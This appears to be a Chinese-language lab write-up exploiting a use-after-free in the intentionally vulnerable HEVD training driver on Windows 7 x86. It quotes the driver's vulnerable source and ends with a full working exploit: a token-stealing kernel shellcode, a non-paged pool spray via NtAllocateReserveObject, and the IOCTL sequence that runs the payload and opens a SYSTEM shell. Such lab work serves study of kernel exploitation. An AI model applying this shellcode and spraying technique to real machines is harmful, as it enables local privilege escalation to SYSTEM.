前言
窥探Ring0漏洞世界:释放后重用漏洞
这也是个很有趣的漏洞类型,对象释放后没有清除对象指针,以至于可能在相同的位置出现假的对象,而让程序认为对象没有被释放是可用的状态,从而执行了假的对象行为。
实验环境:
- 虚拟机:Windows 7 x86
- 物理机:Windows 10 x64
- 软件:IDA,Windbg,VS2022
漏洞分析
本例漏洞需要多个函数调用里,直接上源码来看吧
AllocateUaFObjectNonPagedPool:
/// <summary>
/// Allocate the UaF object in NonPagedPool
/// </summary>
/// <returns>NTSTATUS</returns>
NTSTATUS
AllocateUaFObjectNonPagedPool(
VOID
)
{
NTSTATUS Status = STATUS_UNSUCCESSFUL;
PUSE_AFTER_FREE_NON_PAGED_POOL UseAfterFree = NULL;
PAGED_CODE();
__try
{
DbgPrint("[+] Allocating UaF Object\n");
//
// Allocate Pool chunk
//
UseAfterFree = (PUSE_AFTER_FREE_NON_PAGED_POOL)ExAllocatePoolWithTag(
NonPagedPool,
sizeof(USE_AFTER_FREE_NON_PAGED_POOL),
(ULONG)POOL_TAG
);
if (!UseAfterFree)
{
//
// Unable to allocate Pool chunk
//
DbgPrint("[-] Unable to allocate Pool chunk\n");
Status = STATUS_NO_MEMORY;
return Status;
}
else
{
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
DbgPrint("[+] Pool Size: 0x%zX\n", sizeof(USE_AFTER_FREE_NON_PAGED_POOL));
DbgPrint("[+] Pool Chunk: 0x%p\n", UseAfterFree);
}
//
// Fill the buffer with ASCII 'A'
//
RtlFillMemory((PVOID)UseAfterFree->Buffer, sizeof(UseAfterFree->Buffer), 0x41);
//
// Null terminate the char buffer
//
UseAfterFree->Buffer[sizeof(UseAfterFree->Buffer) - 1] = '\0';
//
// Set the object Callback function
//
UseAfterFree->Callback = &UaFObjectCallbackNonPagedPool;
//
// Assign the address of UseAfterFree to a global variable
//
g_UseAfterFreeObjectNonPagedPool = UseAfterFree;
DbgPrint("[+] UseAfterFree Object: 0x%p\n", UseAfterFree);
DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);
DbgPrint("[+] UseAfterFree->Callback: 0x%p\n", UseAfterFree->Callback);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
申请一个非分页池空间,Buffer里填充A,以0结尾,Callback里填充一个固定的回调函数,使用全局指针变量指向该空间
使用的结构:
typedef struct _USE_AFTER_FREE_NON_PAGED_POOL
{
FunctionPointer Callback;
CHAR Buffer[0x54];
} USE_AFTER_FREE_NON_PAGED_POOL, *PUSE_AFTER_FREE_NON_PAGED_POOL;
UseUaFObjectNonPagedPool:
/// <summary>
/// Use the UaF object NonPagedPool
/// </summary>
/// <returns>NTSTATUS</returns>
NTSTATUS
UseUaFObjectNonPagedPool(
VOID
)
{
NTSTATUS Status = STATUS_UNSUCCESSFUL;
PAGED_CODE();
__try
{
if (g_UseAfterFreeObjectNonPagedPool)
{
DbgPrint("[+] Using UaF Object\n");
DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);
DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool->Callback: 0x%p\n", g_UseAfterFreeObjectNonPagedPool->Callback);
DbgPrint("[+] Calling Callback\n");
if (g_UseAfterFreeObjectNonPagedPool->Callback)
{
g_UseAfterFreeObjectNonPagedPool->Callback();
}
Status = STATUS_SUCCESS;
}
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
判断全局指针,指向的内容是否存在回调,存在就调用
FreeUaFObjectNonPagedPool:
/// <summary>
/// Free the UaF object NonPagedPool
/// </summary>
/// <returns>NTSTATUS</returns>
NTSTATUS
FreeUaFObjectNonPagedPool(
VOID
)
{
NTSTATUS Status = STATUS_UNSUCCESSFUL;
PAGED_CODE();
__try
{
if (g_UseAfterFreeObjectNonPagedPool)
{
DbgPrint("[+] Freeing UaF Object\n");
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);
#ifdef SECURE
//
// Secure Note: This is secure because the developer is setting
// 'g_UseAfterFreeObjectNonPagedPool' to NULL once the Pool chunk is being freed
//
ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);
//
// Set to NULL to avoid dangling pointer
//
g_UseAfterFreeObjectNonPagedPool = NULL;
#else
//
// Vulnerability Note: This is a vanilla Use After Free vulnerability
// because the developer is not setting 'g_UseAfterFreeObjectNonPagedPool' to NULL.
// Hence, g_UseAfterFreeObjectNonPagedPool still holds the reference to stale pointer
// (dangling pointer)
//
ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);
#endif
Status = STATUS_SUCCESS;
}
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
释放保存到全局指针的这个空间,这里暴露出UAF漏洞的问题所在:释放完之后指针没有置空,还指向那个释放的空间,如果能在这里构造一个假的结构在这里,就可以执行任意代码了
AllocateFakeObjectNonPagedPool:
/// <summary>
/// Allocate the Fake object NonPagedPool
/// </summary>
/// <param name="UserFakeObject">The pointer to FAKE_OBJECT_NON_PAGED_POOL structure</param>
/// <returns>NTSTATUS</returns>
NTSTATUS
AllocateFakeObjectNonPagedPool(
_In_ PFAKE_OBJECT_NON_PAGED_POOL UserFakeObject
)
{
NTSTATUS Status = STATUS_SUCCESS;
PFAKE_OBJECT_NON_PAGED_POOL KernelFakeObject = NULL;
PAGED_CODE();
__try
{
DbgPrint("[+] Creating Fake Object\n");
//
// Allocate Pool chunk
//
KernelFakeObject = (PFAKE_OBJECT_NON_PAGED_POOL)ExAllocatePoolWithTag(
NonPagedPool,
sizeof(FAKE_OBJECT_NON_PAGED_POOL),
(ULONG)POOL_TAG
);
if (!KernelFakeObject)
{
//
// Unable to allocate Pool chunk
//
DbgPrint("[-] Unable to allocate Pool chunk\n");
Status = STATUS_NO_MEMORY;
return Status;
}
else
{
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
DbgPrint("[+] Pool Size: 0x%zX\n", sizeof(FAKE_OBJECT_NON_PAGED_POOL));
DbgPrint("[+] Pool Chunk: 0x%p\n", KernelFakeObject);
}
//
// Verify if the buffer resides in user mode
//
ProbeForRead(
(PVOID)UserFakeObject,
sizeof(FAKE_OBJECT_NON_PAGED_POOL),
(ULONG)__alignof(UCHAR)
);
//
// Copy the Fake structure to Pool chunk
//
RtlCopyMemory(
(PVOID)KernelFakeObject,
(PVOID)UserFakeObject,
sizeof(FAKE_OBJECT_NON_PAGED_POOL)
);
//
// Null terminate the char buffer
//
KernelFakeObject->Buffer[sizeof(KernelFakeObject->Buffer) - 1] = '\0';
DbgPrint("[+] Fake Object: 0x%p\n", KernelFakeObject);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
HEVD为我们提供了申请假对象的调用,申请空间,将假对象从用户层填入
漏洞利用
这四个函数分别由4个控制码进行控制:
#define HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL_NX IOCTL(0x814) // 0x222053
#define HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL_NX IOCTL(0x815) // 0x222057
#define HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL_NX IOCTL(0x816) // 0x22205B
#define HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL_NX IOCTL(0x817) // 0x22205F
这个漏洞源于释放空间后,指针没有指向NULL,以至于在后续判断指针值的时候,可以伪造假对象出现在相同位置,从而成功通过对该指针的值判断,转而执行shellcode
这里的一个核心就是,让假的对象出现在真的对象释放后的内存里,可以像之前做池溢出那样,大量申请相同大小的池空间把相同大小的空闲块用光,然后申请真对象释放,此时再申请假对象的时候,大小合适的只有刚刚释放的那个块
梳理一下要做的事情:
- 控制非分页池内存,确保内核对象保存到指定的位置
- 申请UAF对象
- 释放UAF对象
- 申请假UAF对象,假的对象应该出现在真的对象的相同地址
- 执行UAF回调,执行shellcode
根据参考资料[1]博文中的介绍,这里可以使用IoCompletionReserve对象来操控内存,因为它有0x60大小来填充我们的非分页池,更接近我们的UAF对象的大小。这些对象可以使用NtAllocateReserveObject函数来喷射。
内存块被释放了以后,会被装入Lookaside List里或者Free List里,当内存块变成空闲块被插入的时候,不管插入哪个List,内存块的首4字节都会被覆盖成一个链表指针
当真正对象被释放之后,指向该地址的指针会指向链表结点,通过申请相同大小的内存让这块内存再次被分配出去,从而使得该地址的首4字节被控制为shellcode
编写exp:
根据讲内核池的那篇论文(参考资料[4]),对于lookaside和ListHeads的释放总是放在适当的List前面,为了更频繁的使用CPU缓存,分配总是从适当的List前面最近使用的块进行分配;所以理论上,只要能保证进行利用的这几次申请(申请1个对象内存然后释放,紧接着申请真对象,释放真对象,申请假对象)中间没有其他相同大小的内存申请释放出现,那么布置内存只需要申请1个内存的申请释放即可完成。
#include <iostream>
#include <Windows.h>
// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef NTSTATUS(WINAPI* NtAllocateReserveObject_t)(OUT PHANDLE hObject,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN DWORD ObjectType);
typedef struct _FAKE_OBJECT {
CHAR buffer[0x58];
} FAKE_OBJECT, * PFAKE_OBJECT;
VOID TokenStealingPayloadWin7() {
// Importance of Kernel Recovery
__asm {
pushad
; 获取当前进程EPROCESS
xor eax, eax
mov eax, fs: [eax + KTHREAD_OFFSET]
mov eax, [eax + EPROCESS_OFFSET]
mov ecx, eax
; 搜索system进程EPROCESS
mov edx, SYSTEM_PID
SearchSystemPID :
mov eax, [eax + FLINK_OFFSET]
sub eax, FLINK_OFFSET
cmp[eax + PID_OFFSET], edx
jne SearchSystemPID
; token窃取
mov edx, [eax + TOKEN_OFFSET]
mov[ecx + TOKEN_OFFSET], edx
; 环境还原 + 返回
popad
mov eax, 1
}
}
int main()
{
ULONG UserBufferSize = sizeof(FAKE_OBJECT);
PVOID EopPayload = &TokenStealingPayloadWin7;
HANDLE hDevice = ::CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);
PFAKE_OBJECT UserBuffer = (PFAKE_OBJECT)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);
// 制作假对象
RtlFillMemory(UserBuffer, UserBufferSize, 'A');
UserBuffer->buffer[UserBufferSize - 1] = '\0';
*(PULONG)UserBuffer = (ULONG)EopPayload;
NtAllocateReserveObject_t NtAllocateReserveObject = (NtAllocateReserveObject_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtAllocateReserveObject");
// 池喷射,消耗其他同等大小的空闲块
HANDLE spray_event1[10000] = { 0 };
for (size_t i = 0; i < 10000; i++)
{
NtAllocateReserveObject(&spray_event1[i], FALSE, 1); // IO_COMPLETION_OBJECT 1
}
// 布置空洞
HANDLE holeObj = NULL;
NtAllocateReserveObject(&holeObj, FALSE, 1);
CloseHandle(holeObj);
// 申请真对象
ULONG WriteRet = 0;
DeviceIoControl(hDevice, 0x222053, NULL, 0, NULL, 0, &WriteRet, NULL);
// 释放真对象
DeviceIoControl(hDevice, 0x22205B, NULL, 0, NULL, 0, &WriteRet, NULL);
// 申请假对象
DeviceIoControl(hDevice, 0x22205F, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);
// 使用对象
DeviceIoControl(hDevice, 0x222057, NULL, 0, NULL, 0, &WriteRet, NULL);
HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);
UserBuffer = NULL;
// 释放申请的对象
for (size_t i = 0; i < 10000; i++)
{
CloseHandle(spray_event1[i]);
}
system("pause");
system("cmd.exe");
return 0;
}